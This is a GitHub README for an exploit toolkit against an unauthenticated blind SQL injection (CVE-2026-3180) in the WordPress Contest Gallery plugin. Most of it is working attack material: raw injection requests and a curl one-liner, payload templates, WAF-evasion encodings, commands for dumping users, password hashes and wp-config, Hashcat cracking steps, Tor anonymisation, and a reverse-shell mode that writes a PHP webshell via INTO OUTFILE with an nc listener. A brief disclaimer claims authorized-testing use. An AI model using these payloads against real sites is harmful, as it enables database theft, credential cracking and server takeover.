CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit
GitHub: CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit
针对 WordPress Contest Gallery 插件未授权 SQL 注入漏洞(CVE-2026-3180)的自动化利用与安全评估工具包。
Stars: 1 | Forks: 1
⚠️ 测试中
此 PoC 正在积极测试和优化中。功能可能会在不同版本之间发生变化。
此 PoC 正在积极测试和优化中。功能可能会在不同版本之间发生变化。
# CVE-2026-3180
### WordPress Contest Gallery — 未认证盲注 SQL Injection
[](#安装说明)
[](#版本历史)
[](#漏洞详情)
[](#免责声明)
[](#安装说明)
**CVE-2026-3180 的概念验证评估工具**
作者:**Sudeepa Wanigarathna** · 原始发现:**cardosource**
## 目录
- [概述](#overview)
- [漏洞详情](#vulnerability-details)
- [功能](#features)
- [安装说明](#installation)
- [快速开始](#quick-start)
- [使用指南](#usage-guide)
- [命令参考](#command-reference)
- [注入技术](#injection-techniques)
- [WAF 绕过](#waf-bypass)
- [数据提取](#data-extraction)
- [集成](#integrations)
- [攻击链](#attack-chain)
- [输出与报告](#output--reports)
- [Docker](#docker)
- [CI/CD 集成](#cicd-integration)
- [故障排除](#troubleshooting)
- [仓库结构](#repository-layout)
- [版本历史](#version-history)
- [免责声明](#disclaimer)
- [作者与致谢](#author--credits)
## 概述
CVE-2026-3180 是 WordPress **Contest Gallery** 插件中的一个**高危未认证盲注 SQL Injection**。该缺陷存在于 `post_cg1l_resend_unconfirmed_mail_frontend` AJAX handler 中,其中 `cgl_mail` 参数在没有经过适当清理的情况下被传递到了 SQL 查询中。
此仓库提供了一个功能完备的 Python PoC (v2.0),供授权的安全专业人员验证影响、提取 WordPress 数据、生成报告,并与行业标准工具(SQLMap、Burp Suite、Nuclei)集成。
## 漏洞详情
| 属性 | 值 |
|---|---|
| **CVE ID** | CVE-2026-3180 |
| **CVSS** | 7.5 (高危) |
| **攻击向量** | 网络 — 未认证 |
| **影响** | 机密性泄露、数据库读取、凭据窃取 |
| **受影响产品** | WordPress Contest Gallery 插件 |
| **受影响版本** | **28.1.4 及更早版本** |
| **漏洞类型** | 盲注 SQL Injection |
| **DBMS** | MySQL / MariaDB |
### 受影响的 Endpoint
| 字段 | 值 |
|---|---|
| **URL** | `/wp-admin/admin-ajax.php` |
| **Method** | `POST` |
| **Action** | `post_cg1l_resend_unconfirmed_mail_frontend` |
| **漏洞参数** | `cgl_mail` |
### 概念验证请求
```
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
action=post_cg1l_resend_unconfirmed_mail_frontend
&cgl_mail=qualquer'OR/**/1=1#@teste.com
&cgl_page_id=1
&cgl_activation_key=
&cg_nonce=%20
```
### 参考资料
- [CVE-2026-3180](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-3180)
- [Exploit-DB 52609](https://www.exploit-db.com/exploits/52609)
- [原始分析文章 (cardosource)](https://dev.to/22l31on/wordpress-contest-gallery-plugin-vulnerability-2ff6)
## 功能
### 核心利用
| 功能 | 描述 |
|---|---|
| 漏洞检测 | 布尔、时间、错误、union 和堆叠查询测试 |
| 盲注提取 | 通过布尔推理进行二分法字符提取 |
| 完整数据导出 | 用户、数据库元数据、选项、插件、主题、文章、表 |
| 交互式 SQL shell | 针对后端运行任意 `SELECT` 查询 |
| wp-config.php 提取 | 针对常见路径尝试 `LOAD_FILE()` |
| 反弹 shell | 通过 `INTO OUTFILE` / `DUMPFILE` 写入 PHP webshell (如果允许) |
### 绕过与性能
| 功能 | 描述 |
|---|---|
| WAF 绕过 | 15+ 种编码和混淆技术 |
| 多线程 | 可配置的工作线程以加快提取速度 |
| 速率限制 | 请求之间可配置的延迟 |
| 重试逻辑 | 在瞬时故障时自动重试 |
| User-Agent 轮换 | 每个请求使用随机浏览器指纹 |
| 代理支持 | HTTP/SOCKS 代理和 Tor (`socks5h://127.0.0.1:9050`) |
### 报告与集成
| 功能 | 描述 |
|---|---|
| 报告生成 | 包含提取摘要的 JSON 和 HTML 报告 |
| SQLMap 集成 | 自动生成带有 tamper 脚本的 SQLMap 命令 |
| Burp Suite 扩展 | 生成器 + 独立的 `burp_contest_gallery.py` |
| Nuclei 模板 | 用于批量检测的 YAML 模板 |
| Metasploit 模块 | Ruby 辅助模块 (`contest_gallery_sqli.rb`) |
| Shell 自动化 | 用于基于 curl 和 SQLMap 工作流的 Bash 脚本 |
### 运维操作
| 功能 | 描述 |
|---|---|
| 彩色 CLI 输出 | 具有严重性级别的结构化日志 |
| 进度跟踪 | 实时指标(请求、时间、提取速度) |
| 静默 / 详细模式 | 适合脚本编写和调试 |
| 信号处理 | 在 `Ctrl+C` 时优雅清理 |
| Docker 就绪 | 支持容器化部署 |
| CI/CD pipeline 就绪 | 用于自动化的退出代码和 JSON 输出 |
## 安装说明
### 前置条件
- Python **3.8+**
- `pip`
- 网络可连接到待测试的目标
### 可选外部工具
| 工具 | 用途 |
|---|---|
| [SQLMap](https://github.com/sqlmapproject/sqlmap) | 自动化 SQL injection |
| [Burp Suite](https://portswigger.net/burp) | 手动测试与扩展托管 |
| [Nuclei](https://github.com/projectdiscovery/nuclei) | 基于模板的扫描 |
| [Hashcat](https://hashcat.net/hashcat/) | 离线 hash 破解 |
| [Tor](https://www.torproject.org/) | 匿名路由 (`--proxy tor`) |
### 设置
```
git clone https://github.com/CerberusMrXi/WP-Contest-Gallery-28.1.4-Exploit.git
cd WP-Contest-Gallery-28.1.4-Exploit
python3 -m venv venv
source venv/bin/activate # Windows: venv\Scripts\activate
pip install -r requirements.txt
python3 cve-2026-3180.py --help
```
### 依赖项
**必需(运行时):**
```
requests>=2.31.0
```
**推荐(来自 requirements.txt):**
```
colorama>=0.4.6
tqdm>=4.65.0
pyyaml>=6.0
python-dateutil>=2.8.2
urllib3>=2.0.0
```
## 快速开始
### 检查漏洞
```
python3 cve-2026-3180.py http://target.example --scan
```
### 完整利用(检测 + 提取)
```
python3 cve-2026-3180.py http://target.example
```
### 导出 WordPress 用户
```
python3 cve-2026-3180.py http://target.example --dump users
```
### 交互式 SQL shell
```
python3 cve-2026-3180.py http://target.example --sql-shell
```
### 生成 HTML 报告
```
python3 cve-2026-3180.py http://target.example --report html -o assessment.html
```
### 通过 Burp 代理
```
python3 cve-2026-3180.py http://target.example --proxy http://127.0.0.1:8080 -v
```
## 使用指南
### 仅漏洞扫描
```
python3 cve-2026-3180.py http://target.example --scan
```
运行布尔、时间和错误检测,不进行完整提取。
### 完整数据提取
```
python3 cve-2026-3180.py http://target.example --dump all
```
提取数据库信息、用户、选项、插件、主题、文章、表和系统元数据。
### 选择性导出
```
python3 cve-2026-3180.py http://target.example --dump database
python3 cve-2026-3180.py http://target.example --dump users
python3 cve-2026-3180.py http://target.example --dump config
python3 cve-2026-3180.py http://target.example --dump options
python3 cve-2026-3180.py http://target.example --dump plugins
python3 cve-2026-3180.py http://target.example --dump themes
```
### 交互式 SQL shell
```
python3 cve-2026-3180.py http://target.example --sql-shell
```
```
sql> SELECT DATABASE()
wordpress
sql> show users
[
{
"username": "admin",
"email": "admin@target.example",
"password_hash": "$P$B..."
}
]
sql> show tables
["wp_users", "wp_posts", "wp_options", ...]
sql> exit
```
**Shell 命令:**
| 命令 | 描述 |
|---|---|
| `SELECT ...` | 执行 SQL 查询并打印结果 |
| `show users` | 显示已缓存的提取用户 |
| `show tables` | 显示已缓存的表列表 |
| `show database` | 显示已缓存的数据库元数据 |
| `show config` | 如果已提取,则显示 wp-config.php |
| `show options` | 显示 WordPress 选项 |
| `show plugins` | 显示激活的插件 |
| `help` | 列出可用命令 |
| `exit` / `quit` | 退出 shell |
### 报告生成
```
# JSON 报告(默认,保存到 reports/)
python3 cve-2026-3180.py http://target.example --report json
# 带自定义文件名的 HTML 报告
python3 cve-2026-3180.py http://target.example --report html -o reports/assessment.html
```
### 反弹 shell(仅限授权实验环境)
```
# 终端 1 — 监听器
nc -lvnp 4444
# 终端 2 — exploit
python3 cve-2026-3180.py http://target.example --reverse-shell 10.0.0.5 4444
```
### SQLMap 命令生成
```
python3 cve-2026-3180.py http://target.example --sqlmap
```
或使用内置的自动化脚本:
```
chmod +x sqlmap_automation.sh
./sqlmap_automation.sh http://target.example
```
### Burp Suite 扩展
```
# 从 exploit 生成 extension
python3 cve-2026-3180.py http://target.example --burp-extension
# 或加载 standalone extension
# Burp → Extender → Extensions → Add → Python → burp_contest_gallery.py
```
### Nuclei 模板
```
python3 cve-2026-3180.py http://target.example --nuclei-template
# 使用生成的 template 进行扫描
nuclei -u http://target.example -t CVE-2026-3180.yaml
```
### Bash 自动化(无 Python)
```
chmod +x cve-2026-3180_automated.sh
./cve-2026-3180_automated.sh http://target.example
```
### Tor 路由
```
# 确保 Tor 正在 127.0.0.1:9050 上运行
python3 cve-2026-3180.py http://target.example --proxy tor
```
### 性能调优
```
python3 cve-2026-3180.py http://target.example \
--threads 20 \
--timeout 15 \
--delay 0.1 \
--retries 5 \
-v
```
## 命令参考
### 位置参数
| 参数 | 描述 |
|---|---|
| `target` | 目标 WordPress 基础 URL(例如 `http://target.example`) |
### 网络选项
| 参数 | 默认值 | 描述 |
|---|---|---|
| `--proxy` | — | 代理 URL 或通过 Tor 的 SOCKS5 `tor` |
| `--timeout` | `10` | HTTP 请求超时(秒) |
| `--delay` | `0.05` | 请求之间的延迟(秒) |
| `--retries` | `3` | 请求失败的重试次数 |
| `--threads`, `-t` | `5` | 线程池大小 |
### 输出选项
| 参数 | 描述 |
|---|---|
| `--verbose`, `-v` | 启用调试日志 |
| `--quiet` | 禁止控制台输出 |
| `--output`, `-o` | 自定义输出文件路径 |
### 模式
| 参数 | 描述 |
|---|---|
| *(默认)* | 完整利用:检测 → 扫描 → 提取全部 |
| `--scan` | 仅检测漏洞 |
| `--sql-shell` | 交互式 SQL shell |
| `--dump {users,config,database,options,plugins,themes,all}` | 提取特定数据 |
| `--report {json,html}` | 生成评估报告 |
| `--reverse-shell LHOST LPORT` | 尝试通过文件写入实现反弹 shell |
| `--sqlmap` | 打印 SQLMap 命令 |
| `--burp-extension` | 生成 Burp Suite 扩展 |
| `--nuclei-template` | 生成 Nuclei YAML 模板 |
## 注入技术
该工具会自动测试并使用多种注入策略:
| 类型 | 检测方法 | 用例 |
|---|---|---|
| **基于布尔** | 响应长度差异 (`1=1` vs `1=2`) | 主要提取引擎 |
| **基于时间** | `SLEEP()` 延迟推理 | 布尔信号微弱时的备选方案 |
| **基于错误** | `EXTRACTVALUE()` / SQL 错误字符串 | 错误信息泄露时的快速元数据提取 |
| **基于 Union** | `UNION SELECT` payload | 直接值检索(适用时) |
| **堆叠查询** | `'; ... #` 语法 | 多语句执行(罕见) |
### Payload 模板
`PayloadManager` 会在 12+ 个注入模板之间轮换:
```
'OR/**/{condition}#@teste.com
'OR{condition}-- -
')OR{condition}#
'))OR{condition}#
'OR/**/{condition}OR/**/'1'='1'#
'UNION/**/SELECT{condition}#
...
```
### 布尔提取算法
1. 通过真假基准长度确认漏洞
2. 二分查找目标查询结果的 `LENGTH()`
3. 对每个字符位置二分查找 `ASCII(SUBSTRING(...))`
4. 从提取的字符中组装完整字符串
## WAF 绕过
内置混淆技术,随机或按需应用:
| 技术 | 描述 |
|---|---|
| `comment_obfuscation` | 用 `/**/`, `/*!*/`, `-- `, `#` 替换空格 |
| `case_variation` | 字母字符的随机大/小写 |
| `url_encoding` | 标准百分号编码 |
| `double_url_encoding` | 嵌套百分号编码 |
| `hex_encoding` | `%41` 样式的十六进制编码 |
| `unicode_encoding` | `%u0041` 样式的 unicode 编码 |
| `white_space_variation` | 用制表符、换行符、换页符代替空格 |
| `keyword_obfuscation` | 拆分关键字:`SEL/**/ECT`, `UNI/**/ION` |
| `concat_obfuscation` | 通过 `\|\|` 进行 `CHAR()` 拼接 |
| `char_obfuscation` | 通过 `+` 进行 `CHAR()` 相加 |
转换后的 payload 示例:
```
qualquer'OR/**/1=1#@teste.com
→ qualquer'%2F**%2FOR%2F**%2F1%3D1%23%40teste.com
```
## 数据提取
### 提取目标
| 目标 | SQL 来源 | 输出键 |
|---|---|---| 数据库名 | `SELECT DATABASE()` | `database.name` |
| 数据库版本 | `SELECT VERSION()` | `database.version` |
| 数据库用户 | `SELECT USER()` | `database.user` |
| 表 | `information_schema.TABLES` | `tables[]` |
| 列 | `information_schema.COLUMNS` | `columns{}` |
| WP 用户 | `wp_users` | `users[]` |
| 密码 hash | `wp_users.user_pass` | `users[].password_hash` |
| 邮箱 | `wp_users.user_email` | `users[].email` |
| 角色 | `wp_usermeta` 权限 | `users[].roles` |
| 站点选项 | `wp_options` | `options{}` |
| 激活的插件 | `wp_options.active_plugins` | `plugins[]` |
| 主题 | `template` / `stylesheet` 选项 | `themes[]` |
| 文章 | `wp_posts` | `posts[]` |
| wp-config.php | `LOAD_FILE('/var/www/html/wp-config.php')` | `config` |
| 系统信息 | `@@hostname`, `@@datadir` 等 | `system_info{}` |
### 提取的用户对象结构
```
{
"username": "admin",
"password_hash": "$P$Bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"email": "admin@target.example",
"roles": ["administrator"]
}
```
### 密码 Hash 破解(离线)
提取后,使用 Hashcat 破解 WordPress phpass hash:
```
# 将 hashes 保存到文件
python3 cve-2026-3180.py http://target.example --dump users -o users.json
# 使用 Hashcat 破解(mode 400 = phpass)
hashcat -m 400 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
```
## 集成
### SQLMap
生成的命令(通过 `--sqlmap`):
```
sqlmap -u "http://target.example/wp-admin/admin-ajax.php" \
--data "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
-p cgl_mail \
--dbms=mysql \
--level=3 --risk=2 \
--batch \
--threads=5 \
--time-sec=5 \
--retries=3 \
--delay=0.05 \
--random-agent \
--hex \
--tamper=space2comment,randomcase,between,charencode \
--dbs
```
### Burp Suite
1. 在 **Extender → Extensions → Add** 中加载 `burp_contest_gallery.py`
2. 打开 **CVE-2026-3180** 标签页
3. 输入目标 URL 并点击 **Exploit**
4. 被动扫描器会检查 AJAX 请求中是否存在 Contest Gallery 特征
### Nuclei
```
id: CVE-2026-3180
info:
name: WordPress Contest Gallery SQL Injection
severity: high
classification:
cve-id: CVE-2026-3180
cvss-score: 7.5
requests:
- method: POST
path: /wp-admin/admin-ajax.php
body: "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=test'&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20"
```
### Metasploit
```
# 将 module 复制到 Metasploit
cp contest_gallery_sqli.rb ~/.msf4/modules/auxiliary/scanner/http/
# 运行
msfconsole -q -x "use auxiliary/scanner/http/contest_gallery_sqli; set RHOSTS target.example; run"
```
## 攻击链
```
flowchart TD
A["Unauthenticated POST to admin-ajax.php"] --> B["cgl_mail parameter unsanitized"]
B --> C{"Injection type?"}
C -->|Boolean| D["Response length inference"]
C -->|Time| E["SLEEP delay inference"]
C -->|Error| F["SQL error leakage"]
D --> G["Binary-search extraction"]
E --> G
F --> G
G --> H["WordPress data exfiltration"]
H --> I["Users / hashes / options / config"]
I --> J["Optional: OUTFILE webshell"]
```
### 技术总结
1. **入口点** — Contest Gallery 插件中的 `post_cg1l_resend_unconfirmed_mail_frontend` AJAX action。
2. **注入点** — `cgl_mail` 值在没有参数化的情况下拼接进了 SQL。
3. **利用** — 盲布尔推理逐字符提取数据。
4. **影响** — 对 WordPress 数据库的完全读取访问;如果 MySQL 权限允许,可能进行文件写入。
## 输出与报告
### 控制台输出
```
[*] Target: http://target.example
[*] Checking vulnerability...
[+] Target is VULNERABLE! (Boolean-based)
[+] Response length difference: 42 chars
[*] Extracting database information...
[+] name: wordpress
[+] version: 8.0.35
[+] Found 3 users
[+] Exploitation complete!
```
### JSON 报告结构
```
{
"metadata": {
"cve": "CVE-2026-3180",
"cvss_score": "7.5 (High)",
"type": "boolean_based"
},
"target": {
"url": "http://target.example",
"ajax_url": "http://target.example/wp-admin/admin-ajax.php"
},
"vulnerability": {
"vulnerable": true,
"type": "boolean_based"
},
"extracted_data": {
"database": { "name": "wordpress", "version": "8.0.35" },
"users": [],
"tables": [],
"plugins": [],
"options": {}
},
"summary": {
"users_found": 3,
"tables_found": 12,
"plugins_found": 8,
"config_extracted": false
}
}
```
报告默认保存到 `reports/`。
## Docker
```
FROM python:3.11-slim
WORKDIR /app
COPY requirements.txt cve-2026-3180.py ./
RUN pip install --no-cache-dir -r requirements.txt
ENTRYPOINT ["python3", "cve-2026-3180.py"]
CMD ["--help"]
```
```
# 构建
docker build -t cve-2026-3180 .
# 扫描
docker run --rm cve-2026-3180 http://target.example --scan
# 带有 report volume 的完整 exploit
docker run --rm -v $(pwd)/reports:/app/reports cve-2026-3180 \
http://target.example --report json
```
## CI/CD 集成
授权暂存环境扫描的 GitHub Actions 工作流示例:
```
name: CVE-2026-3180 Staging Scan
on:
workflow_dispatch:
schedule:
- cron: '0 2 * * 1'
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/setup-python@v5
with:
python-version: '3.11'
- run: pip install -r requirements.txt
- name: Vulnerability scan
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--scan --quiet
continue-on-error: true
- name: Generate report
run: |
python3 cve-2026-3180.py ${{ secrets.STAGING_URL }} \
--report json -o reports/staging.json
- uses: actions/upload-artifact@v4
with:
name: security-report
path: reports/
```
## 故障排除
| 症状 | 尝试方案 |
|---|---|
| 目标不易受攻击 | 确认已安装并激活 Contest Gallery ≤ 28.1.4 |
| 响应长度无差异 | 尝试使用 `--scan` 作为基于时间的备选方案;增加 `--timeout` |
| 提取速度非常慢 | 增加 `--threads`;谨慎减少 `--delay` |
| 连接错误 | 提高 `--timeout` 和 `--retries`;检查代理设置 |
| WAF 拦截请求 | 使用 `--proxy tor`;工具会自动应用绕过技术 |
| Tor 代理失败 | 验证 Tor 是否在 `127.0.0.1:9050` 上运行;如有必要请安装 `requests[socks]` |
| 用户导出为空 | 表前缀可能不是 `wp_`;配合自定义查询使用 `--sql-shell` |
| 未找到 wp-config | 尝试使用 `--sql-shell` 和备用的 `LOAD_FILE()` 路径 |
| 反弹 shell 失败 | 检查 `FILE` 权限、`secure_file_priv`、webroot 权限 |
### 调试工作流
```
# 详细扫描
python3 cve-2026-3180.py http://target.example --scan -v
# 通过 Burp
python3 cve-2026-3180.py http://target.example \
--proxy http://127.0.0.1:8080 -v --scan
# 手动 curl 验证
curl -s -X POST "http://target.example/wp-admin/admin-ajax.php" \
-d "action=post_cg1l_resend_unconfirmed_mail_frontend&cgl_mail=qualquer'OR/**/1=1#@teste.com&cgl_page_id=1&cgl_activation_key=&cg_nonce=%20" \
-w "\nSize: %{size_download}\n"
```
## 仓库结构
```
exploit/
├── cve-2026-3180.py # Main exploit tool (v2.0)
├── requirements.txt # Python dependencies
├── README.md # This file
├── burp_contest_gallery.py # Standalone Burp Suite extension
├── contest_gallery_sqli.rb # Metasploit auxiliary module
├── cve-2026-3180_automated.sh # Bash/curl automation script
├── sqlmap_automation.sh # SQLMap wrapper script
├── reports/ # Generated reports (created at runtime)
├── backups/ # Database backups (created at runtime)
├── payloads/ # Custom payload storage
└── venv/ # Local virtualenv (optional, not committed)
```
## 版本历史
### v2.0.0 — 终极版(2026 年 1 月)
- 布尔、时间、错误、union 和堆叠注入检测
- 完整的 WordPress 数据提取 pipeline
- 15+ 种 WAF 绕过技术
- 交互式 SQL shell
- JSON / HTML 报告生成
- SQLMap、Burp 和 Nuclei 集成
- 通过 `INTO OUTFILE` 实现反弹 shell
- 代理和 Tor 支持
- 带有重试逻辑的多线程
- 彩色输出和结构化日志
### v1.0 — 初始版本
- 基本的基于布尔的检测
- 手动用户提取
## 免责声明
本项目按“原样”提供,用于**防御性安全研究**和**授权渗透测试**。
使用此软件即表示您同意:
1. 您只会针对您拥有或获得明确授权测试的系统。
2. 您了解适用的计算机滥用和数据保护法律。
3. 作者和贡献者对因滥用造成的损害、数据丢失或法律后果**不承担任何责任**。
## 许可证
```
MIT License
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
```
标签:CISA项目, Python, WordPress, 无后门, 请求拦截, 逆向工具